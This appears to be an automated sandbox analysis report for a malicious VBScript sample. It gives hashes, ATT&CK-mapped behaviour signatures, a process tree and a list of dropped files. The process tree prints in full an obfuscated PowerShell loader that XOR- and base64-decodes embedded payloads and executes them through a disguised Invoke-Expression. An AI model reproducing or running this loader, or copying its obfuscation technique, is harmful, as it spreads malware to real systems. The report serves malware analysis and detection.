2159a767cd13d668613dac36c5f83b416025e913f31fc9776093684c00adcf47

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 12:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GT105780002.vbs
Size 18KB
Sample260724-p3w23sem4x
SHA256 2159a767cd13d668613dac36c5f83b416025e913f31fc9776093684c00adcf47
MD5 254999d7df295d693c3d76d950e5f70a
SHA1 efde5febc329dc562388e225c7a26d10745896c3
SHA512 0057fffb5133e938f9c4fc4927e1a0f90114df99ae2c7c9d2f90469ae8b67bd1db81739e97b45aea62dc87f05339209dad10dbd7fb5367683de0bcd23fd301af
SSDEEP 384:KfDn+XZbC0cMBMtl2VsqRbjv4wHn74W6IH5BmQ8ueBzmIA0igfv37AFwdC:KcFXdVQBzmIDvc6E
TLSH
T1E3829417890E8BF03939394DA5AFB815A910436D783B694A3D8FD1DD3FF66108BC30A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4204	powershell.exe
8	4204	powershell.exe
9	4204	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4204	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1096	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4204	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 4204	1096	WScript.exe	89
PID 4204 wrote to memory of 248	4204	powershell.exe	91
PID 248 wrote to memory of 2568	248	csc.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GT105780002.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=14-93;$xjnrfj='JzPHP5nfnal0Z';$iYnWezbbU='eddaa9969bedb0e197a7a3ff80c0fda98799f0aaa8b7ebf597fabb9e9f96d4cca1beb2a2a5ffa08fb99496b7feaaada3aeb4c7cada839f818fedadb8bd9bb4f5848fb3958edaa2e4978aaeb2b4a385b38f9093ebbd9cb6a4b2f5938fbcae9b8afa99f6fe9faae9c1d2ddf0c698a9f0f1e3af9ed48082bd9985afaca8b6a08c90eebf9992cb81c8f3b196bd8992ffa8aee0a0b5caea91a192a6a4dda68ab4bd8e8cfdaebfa3a88ecc9982979688b3d88abf9d9388e0b9a69295bbadaaf4aef6fa8ec3a8b2bc9fd1b8ae9da1bcbb9fe3b29ab4bda4cafe9381a39a9ed48aba87cb8b98d7afab908cfff2aaa5968081c8c9b095a9b3f3d1b7aae59ea5acfd9c9f86a58dc284a2b3c9ac96fd9386b7ae95d89fb085bc9899ad92b89da6beafbc8bb49686bfc9f0969385f7feb78ca5a0d2bce5a7fe92bf9ff788d59bb989cdd683a0a98081fd97a984cb979ec8bcbf8f93b2a3b9a89a9686b2c9bdaead8984f9b8a29598d0cbf7a59bf0be97a9a699b397b48ffb819eb2a991dc8082b9cfaf98ad82a78f8ca5eabfd3e1c3c5f79585a8a0e692e38085f0d7b683efa188a1adaff49994b9958cdab79f98a1b3b2b4b58eb3958693f1a391fef193ceb6d8febd878eccb0beada5a1b2aba3bf94949fedb091fef180e89f8d929b919fa9f09fb0b9aff497c8f498d4ceb6ede5c9c1a0ef9e83a4938d94bfa0e4e0a7efe1d497edb4878db28baeaeaea5eed0aeb58eccadfaa68fa8a2a3f484dbf8bd878eb296adaaafa9f7d0c4bcdacfb9f0b1a2b0ebe2f6dea3bf8f8c8eb6b8e9bfbfb4e38b92b58e9788f1e4e8b3e582f5878ebc95839edba5b8a5e3e2c5d99db39b9699f7bfb1b9b6cb909695be999693f0aaecade3e2fbdcc4a4d6c697b3e0bcf98beeb3d99bf483dfa1cfacadaabfa9f7b781a49fbfc0a588a3a5af87e98385bd988e83b7e0';$i8xh7E='fgY+OVddH0oVc1wRW2ZfYG4tSUcMQBBmS0lqQ2lTZA1eExZRSEUra1I+OWtdH2EVc1wRQnpbbXJhSB9eFxxiN2p5Q2B+cQlUXRV2UAtrdkFiW2kBXEBmE2kQbXNGZjFLD1VjTlZVDGwzfHF8cQlYH3JaShFucUxgOixJABdUCVADJz4LazNME2hHWkBQBiZkdER+cQlNUk9bSzg1JWx3eGQUXnpVR00EYXxKLTlXSUYIH1oXLGFpQG54LURUHx9EEBgCFSIPOW5dexsTE1ERe28VKjJuGlpSFVdWS3V+ADQzbxBcFBIYEUJna1t1bj9PFAILAxdUOCwBNzolSxsUCQMXXDYwRmh6KlEVWUtTHkwmEiVsey1IH1QGUBlBZDYCZHNhSB9HBm9tAHdrAUBzZg9fWlVTZF81SntDJSsnXkdoQEsMYXgHIXosSRZeWkBaDSgjE1ZJREcbGBsTazExIQcrNzpJBw9+en1bMTgGfhAPQBsXXFNfRTI/CHFlcU5cUFpceAhqMBgqJTFODwEJGgBLOS4dKjI/B0hVUFNfDWlsSXZ5IkAAEx9TXgMvIg8hemIGFWBOVkoRfXZBYjU1TBsXXFNfS0N6QWJpbUAWEwoGEGgFO0MlICVHCxQbDzRvLz8PJXQlSGBwVFpPAH1rcj8nQxJUXnlVSgA5K3xxb2wOXBsfeVgRbHdKdkY0PRIaGxNUHH9tQGJvZA0Ve1RZXAB8OA8ib3AOSEAcFHlNK3hIYzElRFcfGxMeSS84YnZ/cAlXVxwYGUI/OA8pPSIYDQccHTRvLz8PJVpgFBZjSVtaAHxsU3ZydxQbcGthGUhrelxmYXYFV1ZYQBlIaXZddmklVUdVTxR3BGJ6A0ZNUEBGPjE5M0UvPw8lPSVAGxM=';$vtk2uwbKq=0x9EFB-0x3CB1;$iMQYhKjs=@();foreach($c in [char[]]$xjnrfj){$iMQYhKjs+=[byte]($c-bxor0xAA)};$lqP2ynpOL=$iMQYhKjs;$iMQYhKjs=@();foreach($c in [char[]]$xjnrfj){$iMQYhKjs+=[byte]($c-bxor0x55)};$isCtkk=$iMQYhKjs;$iMQYhKjsoldR='';$i=0;for($j=0;$j-lt$iYnWezbbU.Length;$j+=2){$iMQYhKjsoldR+=[char](([Convert]::ToInt32($iYnWezbbU.Substring($j,2),16))-bxor$lqP2ynpOL[$i++%$lqP2ynpOL.Length])};$i13QkEgDL=$iMQYhKjsoldR;$iMQYhKjsoldB=[Convert]::FromBase64String([regex]::Replace($i8xh7E, '$iMQYhKjs', ''));$iMQYhKjsoldR='';$i=0;for($j=0;$j-lt$iMQYhKjsoldB.Length;$j++){$iMQYhKjsoldR+=[char]($iMQYhKjsoldB[$j]-bxor$isCtkk[$i++%$isCtkk.Length])};$c05u3XFXK=$iMQYhKjsoldR;$lLGldDQ82=$i13QkEgDL+$c05u3XFXK;.($env:ComSpec[4,26,25]-join'') $lLGldDQ82
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xy2vk4hz\xy2vk4hz.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:248
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4ABB.tmp" "c:\Users\Admin\AppData\Local\Temp\xy2vk4hz\CSCA77873B2C242434C93DF1E96B3259B.TMP"
      4⤵
      PID:2568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES4ABB.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4ABB.tmp
Size 1KB
SHA256 0bbe4721cbd208a4a88944f0b6cefe01bd4b06fa048024d021dbf96e32ad159f
MD5 f221ffe3ce0c2f400892b2b833029b37
SHA1 f349796949eb7a33925030a326d6d71ba4f91081
SHA512 5508338f7a33af66e56635bc178d1b4134d1a6a7e38cad2c94afa19d1d984b0760eacca6cc0af877a3c63a30d2ead3df7a3e3693fa5476a52e997e6017b8a4e4
TLSH
T1D621CC0593ED471FF0734731A9F6432FD174FDA4EFA2A35A9440122C2C51504EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

xy2vk4hz.dll

Path C:\Users\Admin\AppData\Local\Temp\xy2vk4hz\xy2vk4hz.dll
Size 3KB
SHA256 b7cef74b8a1faa548c7f5d540d0169db3118dad1891dc156c9c325830ed897db
MD5 41784743b75d5ebe72d740c3ba7e04b7
SHA1 60c6d5468098545d8969c16a36d2fc4dd46fa263
SHA512 7dd153ad2783e9d0c5608b17d9af39f7898170c9fb081be8d93421c4d904e7cdbc2fa89c96d7d862c8d113e89f2b3a8b90b10b45b9bf7686c767571d9c2b2539
TLSH
T10B51FF1A53E8467BF4BB0B35BEF743072774F920AB62535E5880022CAC213606E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA77873B2C242434C93DF1E96B3259B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xy2vk4hz\CSCA77873B2C242434C93DF1E96B3259B.TMP
Size 652B
SHA256 155eebf942cecb9a25e5456a371f16615e4bd033cdf9c3efd9d1c84463fa82c1
MD5 9dba9ab7cc7af19474f79882af31b6ec
SHA1 53535781a29d9f901c182a35ea7aa9664560329c
SHA512 2b313356df0e86544151f2b0a062a6cdafcb142299f0e7b755bdcd5c82312b4fcf17ace0f9c80f8302bded4d99dc3c9f8b2feffe8f6a7ce292b7474c98a73e99
TLSH
T1A1F05E0963FD020EF0F34B30FDF6436391A8BCA4DE7293ED5490031928645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

xy2vk4hz.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xy2vk4hz\xy2vk4hz.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

xy2vk4hz.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xy2vk4hz\xy2vk4hz.cmdline
Size 369B
SHA256 6872c97d1150a4c519396dc1840736afd7cac692a2d7d35e5e919bc3fba6d661
MD5 3e6ad7976a3649ff2a523793985e3063
SHA1 234e36f3fc71646e83a8a19557ecad629e9817d7
SHA512 c56660a90cab4aa9baed8152e8ac37217339239dc2aebbd31409c8bdb4362b82d2a4d1a2e17b43b0ffb05e1421ed8e052d615ad3d629a403a3bbd538a57ab198
TLSH
T1CEE0682E5286C2FE21DE180F21ADC5ACC273066329403F957190480ED01700027E2741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4204-8-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-16-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-9-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-10-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-11-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-12-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-13-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-14-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-15-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-0-0x00007FFE2A8EF000-0x00007FFE2A8F0000-memory.dmp

Download

memory/4204-7-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-6-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-5-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-4-0x0000027DB43F0000-0x0000027DB4412000-memory.dmp

Download

memory/4204-29-0x0000027DCC9B0000-0x0000027DCC9B8000-memory.dmp

Download

memory/4204-3-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-30-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-31-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-33-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/4204-35-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download